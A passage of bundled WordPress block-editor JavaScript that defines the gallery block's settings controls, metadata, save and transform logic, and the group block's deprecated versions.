                toggleOpenInNewTab(false);
              }
            },
            dropdownMenuProps,
            children: [
              images.length &gt; 1 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  isShownByDefault: true,
                  label: (0, import_i18n75.__)(&quot;Columns&quot;),
                  hasValue: () =&gt; !!columns &amp;&amp; columns !== images.length,
                  onDeselect: () =&gt; setColumnsNumber(void 0),
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.RangeControl,
                    {
                      label: (0, import_i18n75.__)(&quot;Columns&quot;),
                      value: columns ? columns : defaultColumnsNumber(
                        images.length
                      ),
                      onChange: setColumnsNumber,
                      min: 1,
                      max: Math.min(
                        MAX_COLUMNS,
                        images.length
                      ),
                      required: true,
                      __next40pxDefaultSize: true
                    }
                  )
                }
              ),
              imageSizeOptions?.length &gt; 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  isShownByDefault: true,
                  label: (0, import_i18n75.__)(&quot;Resolution&quot;),
                  hasValue: () =&gt; sizeSlug !== DEFAULT_MEDIA_SIZE_SLUG2,
                  onDeselect: () =&gt; updateImagesSize(DEFAULT_MEDIA_SIZE_SLUG2),
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.SelectControl,
                    {
                      label: (0, import_i18n75.__)(&quot;Resolution&quot;),
                      help: (0, import_i18n75.__)(
                        &quot;Select the size of the source images.&quot;
                      ),
                      value: sizeSlug,
                      options: imageSizeOptions,
                      onChange: updateImagesSize,
                      hideCancelButton: true,
                      size: &quot;__unstable-large&quot;
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  isShownByDefault: true,
                  label: (0, import_i18n75.__)(&quot;Crop images to fit&quot;),
                  hasValue: () =&gt; !imageCrop,
                  onDeselect: () =&gt; setAttributes({ imageCrop: true }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.ToggleControl,
                    {
                      label: (0, import_i18n75.__)(&quot;Crop images to fit&quot;),
                      checked: !!imageCrop,
                      onChange: toggleImageCrop
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  isShownByDefault: true,
                  label: (0, import_i18n75.__)(&quot;Randomize order&quot;),
                  hasValue: () =&gt; !!randomOrder,
                  onDeselect: () =&gt; setAttributes({ randomOrder: false }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.ToggleControl,
                    {
                      label: (0, import_i18n75.__)(&quot;Randomize order&quot;),
                      checked: !!randomOrder,
                      onChange: toggleRandomOrder
                    }
                  )
                }
              ),
              hasLinkTo &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  isShownByDefault: true,
                  label: (0, import_i18n75.__)(&quot;Open images in new tab&quot;),
                  hasValue: () =&gt; !!linkTarget,
                  onDeselect: () =&gt; toggleOpenInNewTab(false),
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.ToggleControl,
                    {
                      label: (0, import_i18n75.__)(&quot;Open images in new tab&quot;),
                      checked: linkTarget === &quot;_blank&quot;,
                      onChange: toggleOpenInNewTab
                    }
                  )
                }
              ),
              aspectRatioOptions.length &gt; 1 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  hasValue: () =&gt; !!aspectRatio &amp;&amp; aspectRatio !== &quot;auto&quot;,
                  label: (0, import_i18n75.__)(&quot;Aspect ratio&quot;),
                  onDeselect: () =&gt; setAspectRatio(&quot;auto&quot;),
                  isShownByDefault: true,
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.SelectControl,
                    {
                      __next40pxDefaultSize: true,
                      label: (0, import_i18n75.__)(&quot;Aspect ratio&quot;),
                      help: (0, import_i18n75.__)(
                        &quot;Set a consistent aspect ratio for all images in the gallery.&quot;
                      ),
                      value: aspectRatio,
                      options: aspectRatioOptions,
                      onChange: setAspectRatio
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n75.__)(&quot;Navigation button type&quot;),
                  isShownByDefault: true,
                  hasValue: () =&gt; navigationButtonType !== &quot;icon&quot;,
                  onDeselect: () =&gt; setAttributes({
                    navigationButtonType: &quot;icon&quot;
                  }),
                  children: hasLightboxImages &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.__experimentalToggleGroupControl,
                    {
                      label: (0, import_i18n75.__)(&quot;Navigation button type&quot;),
                      value: navigationButtonType,
                      onChange: (value) =&gt; setAttributes({
                        navigationButtonType: value
                      }),
                      isBlock: true,
                      __next40pxDefaultSize: true,
                      help: (0, import_i18n75.__)(
                        &quot;Adjust the appearance of buttons in the lightbox.&quot;
                      ),
                      children: NAVIGATION_BUTTON_TYPE_OPTIONS.map(
                        (option) =&gt; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                          import_components45.__experimentalToggleGroupControlOption,
                          {
                            value: option.value,
                            label: option.label
                          },
                          option.value
                        )
                      )
                    }
                  )
                }
              )
            ]
          }
        ),
        import_element33.Platform.isNative &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(import_components45.PanelBody, { title: (0, import_i18n75.__)(&quot;Settings&quot;), children: [
          images.length &gt; 1 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.RangeControl,
            {
              label: (0, import_i18n75.__)(&quot;Columns&quot;),
              value: columns ? columns : defaultColumnsNumber(images.length),
              onChange: setColumnsNumber,
              min: 1,
              max: Math.min(MAX_COLUMNS, images.length),
              ...MOBILE_CONTROL_PROPS_RANGE_CONTROL,
              required: true,
              __next40pxDefaultSize: true
            }
          ),
          imageSizeOptions?.length &gt; 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.SelectControl,
            {
              label: (0, import_i18n75.__)(&quot;Resolution&quot;),
              help: (0, import_i18n75.__)(
                &quot;Select the size of the source images.&quot;
              ),
              value: sizeSlug,
              options: imageSizeOptions,
              onChange: updateImagesSize,
              hideCancelButton: true,
              size: &quot;__unstable-large&quot;
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.SelectControl,
            {
              label: (0, import_i18n75.__)(&quot;Link&quot;),
              value: linkTo,
              onChange: setLinkTo,
              options: linkOptions,
              hideCancelButton: true,
              size: &quot;__unstable-large&quot;
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.ToggleControl,
            {
              label: (0, import_i18n75.__)(&quot;Crop images to fit&quot;),
              checked: !!imageCrop,
              onChange: toggleImageCrop
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.ToggleControl,
            {
              label: (0, import_i18n75.__)(&quot;Randomize order&quot;),
              checked: !!randomOrder,
              onChange: toggleRandomOrder
            }
          ),
          hasLinkTo &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.ToggleControl,
            {
              label: (0, import_i18n75.__)(&quot;Open images in new tab&quot;),
              checked: linkTarget === &quot;_blank&quot;,
              onChange: toggleOpenInNewTab
            }
          ),
          aspectRatioOptions.length &gt; 1 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.SelectControl,
            {
              label: (0, import_i18n75.__)(&quot;Aspect Ratio&quot;),
              help: (0, import_i18n75.__)(
                &quot;Set a consistent aspect ratio for all images in the gallery.&quot;
              ),
              value: aspectRatio,
              options: aspectRatioOptions,
              onChange: setAspectRatio,
              hideCancelButton: true,
              size: &quot;__unstable-large&quot;
            }
          )
        ] })
      ] }),
      import_element33.Platform.isWeb ? /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(import_block_editor95.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
        import_components45.ToolbarDropdownMenu,
        {
          icon: link_default,
          label: (0, import_i18n75.__)(&quot;Link&quot;),
          children: ({ onClose }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(import_components45.MenuGroup, { children: linkOptions.map((linkItem) =&gt; {
            const isOptionSelected = linkTo === linkItem.value;
            return /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
              import_components45.MenuItem,
              {
                isSelected: isOptionSelected,
                className: clsx_default(
                  &quot;components-dropdown-menu__menu-item&quot;,
                  {
                    &quot;is-active&quot;: isOptionSelected
                  }
                ),
                iconPosition: &quot;left&quot;,
                icon: linkItem.icon,
                onClick: () =&gt; {
                  setLinkTo(linkItem.value);
                  onClose();
                },
                role: &quot;menuitemradio&quot;,
                info: linkItem.infoText,
                children: linkItem.label
              },
              linkItem.value
            );
          }) })
        }
      ) }) : null,
      import_element33.Platform.isWeb &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(import_jsx_runtime257.Fragment, { children: [
        !multiGallerySelection &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(import_block_editor95.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
          import_block_editor95.MediaReplaceFlow,
          {
            allowedTypes: ALLOWED_MEDIA_TYPES4,
            handleUpload: false,
            onSelect: updateImages,
            name: (0, import_i18n75.__)(&quot;Add&quot;),
            multiple: true,
            mediaIds: images.filter((image) =&gt; image.id).map((image) =&gt; image.id),
            addToGallery: hasImageIds,
            variant: &quot;toolbar&quot;
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
          GapStyles,
          {
            blockGap: attributes2.style?.spacing?.blockGap,
            clientId
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
        Gallery,
        {
          ...props,
          isContentLocked,
          images,
          mediaPlaceholder: !hasImages || import_element33.Platform.isNative ? mediaPlaceholder : void 0,
          blockProps: innerBlocksProps,
          insertBlocksAfter,
          multiGallerySelection
        }
      )
    ] });
  }

  // packages/block-library/build-module/gallery/block.json
  var block_default38 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/gallery&quot;,
    title: &quot;Gallery&quot;,
    category: &quot;media&quot;,
    usesContext: [&quot;galleryId&quot;],
    allowedBlocks: [&quot;core/image&quot;],
    description: &quot;Display multiple images in a rich gallery.&quot;,
    keywords: [&quot;images&quot;, &quot;photos&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      images: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;.blocks-gallery-item&quot;,
        query: {
          url: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;src&quot;
          },
          fullUrl: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-full-url&quot;
          },
          link: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-link&quot;
          },
          alt: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;alt&quot;,
            default: &quot;&quot;
          },
          id: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-id&quot;
          },
          caption: {
            type: &quot;rich-text&quot;,
            source: &quot;rich-text&quot;,
            selector: &quot;.blocks-gallery-item__caption&quot;
          }
        }
      },
      ids: {
        type: &quot;array&quot;,
        items: {
          type: &quot;number&quot;
        },
        default: []
      },
      navigationButtonType: {
        type: &quot;string&quot;,
        default: &quot;icon&quot;,
        enum: [&quot;icon&quot;, &quot;text&quot;, &quot;both&quot;]
      },
      shortCodeTransforms: {
        type: &quot;array&quot;,
        items: {
          type: &quot;object&quot;
        },
        default: []
      },
      columns: {
        type: &quot;number&quot;,
        minimum: 1,
        maximum: 8
      },
      caption: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;.blocks-gallery-caption&quot;,
        role: &quot;content&quot;
      },
      imageCrop: {
        type: &quot;boolean&quot;,
        default: true
      },
      randomOrder: {
        type: &quot;boolean&quot;,
        default: false
      },
      fixedHeight: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTarget: {
        type: &quot;string&quot;
      },
      linkTo: {
        type: &quot;string&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;,
        default: &quot;large&quot;
      },
      allowResize: {
        type: &quot;boolean&quot;,
        default: false
      },
      aspectRatio: {
        type: &quot;string&quot;,
        default: &quot;auto&quot;
      }
    },
    providesContext: {
      allowResize: &quot;allowResize&quot;,
      imageCrop: &quot;imageCrop&quot;,
      fixedHeight: &quot;fixedHeight&quot;,
      navigationButtonType: &quot;navigationButtonType&quot;
    },
    supports: {
      anchor: true,
      align: true,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true
        }
      },
      html: false,
      units: [&quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;vh&quot;, &quot;vw&quot;],
      spacing: {
        margin: true,
        padding: true,
        blockGap: [&quot;horizontal&quot;, &quot;vertical&quot;],
        __experimentalSkipSerialization: [&quot;blockGap&quot;],
        __experimentalDefaultControls: {
          blockGap: true,
          margin: false,
          padding: false
        }
      },
      color: {
        text: false,
        background: true,
        gradients: true
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        allowEditing: false,
        default: {
          type: &quot;flex&quot;
        }
      },
      interactivity: {
        clientNavigation: true
      },
      listView: true
    },
    editorStyle: &quot;wp-block-gallery-editor&quot;,
    style: &quot;wp-block-gallery&quot;
  };

  // packages/block-library/build-module/gallery/save.mjs
  var import_block_editor96 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime258 = __toESM(require_jsx_runtime(), 1);
  function saveWithInnerBlocks({ attributes: attributes2 }) {
    const { caption, columns, imageCrop } = attributes2;
    const className = clsx_default(&quot;has-nested-images&quot;, {
      [`columns-${columns}`]: columns !== void 0,
      [`columns-default`]: columns === void 0,
      &quot;is-cropped&quot;: imageCrop
    });
    const blockProps = import_block_editor96.useBlockProps.save({ className });
    const innerBlocksProps = import_block_editor96.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime258.jsxs)(&quot;figure&quot;, { ...innerBlocksProps, children: [
      innerBlocksProps.children,
      !import_block_editor96.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(
        import_block_editor96.RichText.Content,
        {
          tagName: &quot;figcaption&quot;,
          className: clsx_default(
            &quot;blocks-gallery-caption&quot;,
            (0, import_block_editor96.__experimentalGetElementClassName)(&quot;caption&quot;)
          ),
          value: caption
        }
      )
    ] });
  }

  // packages/block-library/build-module/gallery/transforms.mjs
  var import_blocks31 = __toESM(require_blocks(), 1);
  var import_blob10 = __toESM(require_blob(), 1);
  var import_hooks29 = __toESM(require_hooks(), 1);
  var parseShortcodeIds = (ids) =&gt; {
    if (!ids) {
      return [];
    }
    return ids.split(&quot;,&quot;).map((id) =&gt; parseInt(id, 10));
  };
  function updateThirdPartyTransformToGallery(block) {
    if (block.name === &quot;core/gallery&quot; &amp;&amp; block.attributes?.images.length &gt; 0) {
      const innerBlocks = block.attributes.images.map(
        ({ url, id, alt }) =&gt; {
          return (0, import_blocks31.createBlock)(&quot;core/image&quot;, {
            url,
            id: id ? parseInt(id, 10) : null,
            alt,
            sizeSlug: block.attributes.sizeSlug,
            linkDestination: block.attributes.linkDestination
          });
        }
      );
      delete block.attributes.ids;
      delete block.attributes.images;
      block.innerBlocks = innerBlocks;
    }
    return block;
  }
  (0, import_hooks29.addFilter)(
    &quot;blocks.switchToBlockType.transformedBlock&quot;,
    &quot;core/gallery/update-third-party-transform-to&quot;,
    updateThirdPartyTransformToGallery
  );
  function updateThirdPartyTransformFromGallery(toBlock, fromBlocks) {
    const from = Array.isArray(fromBlocks) ? fromBlocks : [fromBlocks];
    const galleryBlock = from.find(
      (transformedBlock) =&gt; transformedBlock.name === &quot;core/gallery&quot; &amp;&amp; transformedBlock.innerBlocks.length &gt; 0 &amp;&amp; !transformedBlock.attributes.images?.length &gt; 0 &amp;&amp; !toBlock.name.includes(&quot;core/&quot;)
    );
    if (galleryBlock) {
      const images = galleryBlock.innerBlocks.map(
        ({ attributes: { url, id, alt } }) =&gt; ({
          url,
          id: id ? parseInt(id, 10) : null,
          alt
        })
      );
      const ids = images.map(({ id }) =&gt; id);
      galleryBlock.attributes.images = images;
      galleryBlock.attributes.ids = ids;
    }
    return toBlock;
  }
  (0, import_hooks29.addFilter)(
    &quot;blocks.switchToBlockType.transformedBlock&quot;,
    &quot;core/gallery/update-third-party-transform-from&quot;,
    updateThirdPartyTransformFromGallery
  );
  var transforms9 = {
    from: [
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;core/image&quot;],
        transform: (attributes2) =&gt; {
          let { align, sizeSlug } = attributes2[0];
          align = attributes2.every(
            (attribute) =&gt; attribute.align === align
          ) ? align : void 0;
          sizeSlug = attributes2.every(
            (attribute) =&gt; attribute.sizeSlug === sizeSlug
          ) ? sizeSlug : void 0;
          const validImages = attributes2.filter(({ url }) =&gt; url);
          const innerBlocks = validImages.map((image) =&gt; {
            image.width = void 0;
            image.height = void 0;
            return (0, import_blocks31.createBlock)(&quot;core/image&quot;, image);
          });
          return (0, import_blocks31.createBlock)(
            &quot;core/gallery&quot;,
            {
              align,
              sizeSlug
            },
            innerBlocks
          );
        }
      },
      {
        type: &quot;shortcode&quot;,
        tag: &quot;gallery&quot;,
        transform({ named: { ids, columns = 3, link, orderby, size } }) {
          const imageIds = parseShortcodeIds(ids).map(
            (id) =&gt; parseInt(id, 10)
          );
          let linkTo = LINK_DESTINATION_NONE;
          if (link === &quot;post&quot;) {
            linkTo = LINK_DESTINATION_ATTACHMENT;
          } else if (link === &quot;file&quot;) {
            linkTo = LINK_DESTINATION_MEDIA;
          }
          const galleryBlock = (0, import_blocks31.createBlock)(
            &quot;core/gallery&quot;,
            {
              columns: parseInt(columns, 10),
              linkTo,
              randomOrder: orderby === &quot;rand&quot;,
              ...size &amp;&amp; { sizeSlug: size }
            },
            imageIds.map(
              (imageId) =&gt; (0, import_blocks31.createBlock)(&quot;core/image&quot;, {
                id: imageId,
                ...size &amp;&amp; { sizeSlug: size }
              })
            )
          );
          return galleryBlock;
        },
        isMatch({ named }) {
          return void 0 !== named.ids;
        }
      },
      {
        // When created by drag and dropping multiple files on an insertion point. Because multiple
        // files must not be transformed to a gallery when dropped within a gallery there is another transform
        // within the image block to handle that case. Therefore this transform has to have priority 1
        // set so that it overrides the image block transformation when multiple images are dropped outside
        // of a gallery block.
        type: &quot;files&quot;,
        priority: 1,
        isMatch(files) {
          return files.length !== 1 &amp;&amp; files.every(
            (file) =&gt; file.type.indexOf(&quot;image/&quot;) === 0
          );
        },
        transform(files) {
          const innerBlocks = files.map(
            (file) =&gt; (0, import_blocks31.createBlock)(&quot;core/image&quot;, {
              blob: (0, import_blob10.createBlobURL)(file)
            })
          );
          return (0, import_blocks31.createBlock)(&quot;core/gallery&quot;, {}, innerBlocks);
        }
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/image&quot;],
        transform: ({ align }, innerBlocks) =&gt; {
          if (innerBlocks.length &gt; 0) {
            return innerBlocks.map(
              ({
                attributes: {
                  url,
                  alt,
                  caption,
                  title,
                  href,
                  rel,
                  linkClass,
                  id,
                  sizeSlug: imageSizeSlug,
                  linkDestination,
                  linkTarget,
                  anchor,
                  className
                }
              }) =&gt; (0, import_blocks31.createBlock)(&quot;core/image&quot;, {
                align,
                url,
                alt,
                caption,
                title,
                href,
                rel,
                linkClass,
                id,
                sizeSlug: imageSizeSlug,
                linkDestination,
                linkTarget,
                anchor,
                className
              })
            );
          }
          return (0, import_blocks31.createBlock)(&quot;core/image&quot;, { align });
        }
      }
    ]
  };
  var transforms_default10 = transforms9;

  // packages/block-library/build-module/gallery/index.mjs
  var { name: name38 } = block_default38;
  var settings38 = {
    icon: gallery_default,
    example: {
      attributes: {
        columns: 2
      },
      innerBlocks: [
        {
          name: &quot;core/image&quot;,
          attributes: {
            url: &quot;https://s.w.org/images/core/5.3/Glacial_lakes%2C_Bhutan.jpg&quot;
          }
        },
        {
          name: &quot;core/image&quot;,
          attributes: {
            url: &quot;https://s.w.org/images/core/5.3/Sediment_off_the_Yucatan_Peninsula.jpg&quot;
          }
        }
      ]
    },
    transforms: transforms_default10,
    edit: GalleryEdit,
    save: saveWithInnerBlocks,
    deprecated: deprecated_default19
  };
  var init38 = () =&gt; initBlock({ name: name38, metadata: block_default38, settings: settings38 });

  // packages/block-library/build-module/group/index.mjs
  var group_exports = {};
  __export(group_exports, {
    init: () =&gt; init39,
    metadata: () =&gt; block_default39,
    name: () =&gt; name39,
    settings: () =&gt; settings39
  });
  var import_i18n79 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/group/deprecated.mjs
  var import_block_editor97 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime259 = __toESM(require_jsx_runtime(), 1);
  var migrateAttributes = (attributes2) =&gt; {
    if (!attributes2.tagName) {
      attributes2 = {
        ...attributes2,
        tagName: &quot;div&quot;
      };
    }
    if (!attributes2.customTextColor &amp;&amp; !attributes2.customBackgroundColor) {
      return attributes2;
    }
    const style2 = { color: {} };
    if (attributes2.customTextColor) {
      style2.color.text = attributes2.customTextColor;
    }
    if (attributes2.customBackgroundColor) {
      style2.color.background = attributes2.customBackgroundColor;
    }
    const { customTextColor, customBackgroundColor, ...restAttributes } = attributes2;
    return {
      ...restAttributes,
      style: style2
    };
  };
  var deprecated8 = [
    // Version with default layout.
    {
      attributes: {
        tagName: {
          type: &quot;string&quot;,
          default: &quot;div&quot;
        },
        templateLock: {
          type: [&quot;string&quot;, &quot;boolean&quot;],
          enum: [&quot;all&quot;, &quot;insert&quot;, false]
        }
      },
      supports: {
        __experimentalOnEnter: true,
        __experimentalSettings: true,
        align: [&quot;wide&quot;, &quot;full&quot;],
        anchor: true,
        ariaLabel: true,
        html: false,
        color: {
          gradients: true,
          link: true,
          __experimentalDefaultControls: {
            background: true,
            text: true
          }
        },
        spacing: {
          margin: [&quot;top&quot;, &quot;bottom&quot;],
          padding: true,
          blockGap: true,
          __experimentalDefaultControls: {
            padding: true,
            blockGap: true
          }
        },
        __experimentalBorder: {
          color: true,
          radius: true,
          style: true,
          width: true,
          __experimentalDefaultControls: {
            color: true,
            radius: true,
            style: true,
            width: true
          }
        },
        typography: {
          fontSize: true,
          lineHeight: true,
          __experimentalFontStyle: true,
          __experimentalFontWeight: true,
          __experimentalLetterSpacing: true,
          __experimentalTextTransform: true,
          __experimentalDefaultControls: {
            fontSize: true
          }
        },
        layout: true
      },
      save({ attributes: { tagName: Tag } }) {
        return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(Tag, { ...import_block_editor97.useInnerBlocksProps.save(import_block_editor97.useBlockProps.save()) });
      },
      isEligible: ({ layout }) =&gt; layout?.inherit || layout?.contentSize &amp;&amp; layout?.type !== &quot;constrained&quot;,
      migrate: (attributes2) =&gt; {
        const { layout = null } = attributes2;
        if (layout?.inherit || layout?.contentSize) {
          return {
            ...attributes2,
            layout: {
              ...layout,
              type: &quot;constrained&quot;
            }
          };
        }
      }
    },
    // Version of the block with the double div.
    {
      attributes: {
        tagName: {
          type: &quot;string&quot;,
          default: &quot;div&quot;
        },
        templateLock: {
          type: [&quot;string&quot;, &quot;boolean&quot;],
          enum: [&quot;all&quot;, &quot;insert&quot;, false]
        }
      },
      supports: {
        align: [&quot;wide&quot;, &quot;full&quot;],
        anchor: true,
        color: {
          gradients: true,
          link: true
        },
        spacing: {
          padding: true
        },
        __experimentalBorder: {
          radius: true
        }
      },
      save({ attributes: attributes2 }) {
        const { tagName: Tag } = attributes2;
        return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(Tag, { ...import_block_editor97.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(&quot;div&quot;, { className: &quot;wp-block-group__inner-container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(import_block_editor97.InnerBlocks.Content, {}) }) });
      }
    },
    // Version of the block without global styles support
    {
      attributes: {
        backgroundColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        customTextColor: {
          type: &quot;string&quot;
        }
      },
      supports: {
        align: [&quot;wide&quot;, &quot;full&quot;],
        anchor: true,
        html: false
      },
      migrate: migrateAttributes,
      save({ attributes: attributes2 }) {
        const {
          backgroundColor,
          customBackgroundColor,
          textColor,
          customTextColor
        } = attributes2;
        const backgroundClass = (0, import_block_editor97.getColorClassName)(
          &quot;background-color&quot;,
          backgroundColor
        );
        const textClass = (0, import_block_editor97.getColorClassName)(&quot;color&quot;, textColor);
        const className = clsx_default(backgroundClass, textClass, {
          &quot;has-text-color&quot;: textColor || customTextColor,
          &quot;has-background&quot;: backgroundColor || customBackgroundColor
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(&quot;div&quot;, { className, style: styles, children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(&quot;div&quot;, { className: &quot;wp-block-group__inner-container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(import_block_editor97.InnerBlocks.Content, {}) }) });
      }
    },
    // Version of the group block with a bug that made text color class not applied.
    {
      attributes: {
        backgroundColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        customTextColor: {
          type: &quot;string&quot;
        }
      },
      migrate: migrateAttributes,
      supports: {
        align: [&quot;wide&quot;, &quot;full&quot;],
        anchor: true,
        html: false
      },
      save({ attributes: attributes2 }) {
        const {
          backgroundColor,
          customBackgroundColor,
          textColor,
          customTextColor
        } = attributes2;
        const backgroundClass = (0, import_block_editor97.getColorClassName)(
          &quot;background-color&quot;,
          backgroundColor
        );
        const textClass = (0, import_block_editor97.getColorClassName)(&quot;color&quot;, textColor);
        const className = clsx_default(backgroundClass, {
          &quot;has-text-color&quot;: textColor || customTextColor,
          &quot;has-background&quot;: backgroundColor || customBackgroundColor
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(&quot;div&quot;, { className, style: styles, children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(&quot;div&quot;, { className: &quot;wp-block-group__inner-container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(import_block_editor97.InnerBlocks.Content, {}) }) });
      }
    },
    // v1 of group block. Deprecated to add an inner-container div around `InnerBlocks.Content`.
    {
      attributes: {
        backgroundColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        }
      },
      supports: {
        align: [&quot;wide&quot;, &quot;full&quot;],
        anchor: true,
        html: false
      },
      migrate: migrateAttributes,
      save({ attributes: attributes2 }) {
        const { backgroundColor, customBackgroundColor } = attributes2;
        const backgroundClass = (0, import_block_editor97.getColorClassName)(
          &quot;background-color&quot;,
          backgroundColor
        );
        const className = clsx_default(backgroundClass, {
          &quot;has-background&quot;: backgroundColor || customBackgroundColor
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(&quot;div&quot;, { className, style: styles, children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(import_block_editor97.InnerBlocks.Content, {}) });
      }
    }
  ];
  var deprecated_default20 = deprecated8;

  // packages/block-library/build-module/group/edit.mjs
  var import_data40 = __toESM(require_data(), 1);
  var import_block_editor99 = __toESM(require_block_editor(), 1);
  var import_element35 = __toESM(require_element(), 1);
  var import_i18n77 = __toESM(require_i18n(), 1);
  var import_primitives161 = __toESM(require_primitives(), 1);

  // packages/block-library/build-module/group/placeholder.mjs
  var import_data39 = __toESM(require_data(), 1);
  var import_block_editor98 = __toESM(require_block_editor(), 1);
  var import_i18n76 = __toESM(require_i18n(), 1);
  var import_blocks32 = __toESM(require_blocks(), 1);
  var import_components46 = __toESM(require_components(), 1);
  var import_element34 = __toESM(require_element(), 1);
  var import_jsx_runtime260 = __toESM(require_jsx_runtime(), 1);
  var getGroupPlaceholderIcons = (name123 = &quot;group&quot;) =&gt; {
    const icons = {
      group: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
        import_components46.SVG,
        {
          xmlns: &quot;http://www.w3.org/2000/svg&quot;,
          width: &quot;48&quot;,
          height: &quot;48&quot;,
          viewBox: &quot;0 0 48 48&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(import_components46.Path, { d: &quot;M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Z&quot; })
        }
      ),
      &quot;group-row&quot;: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
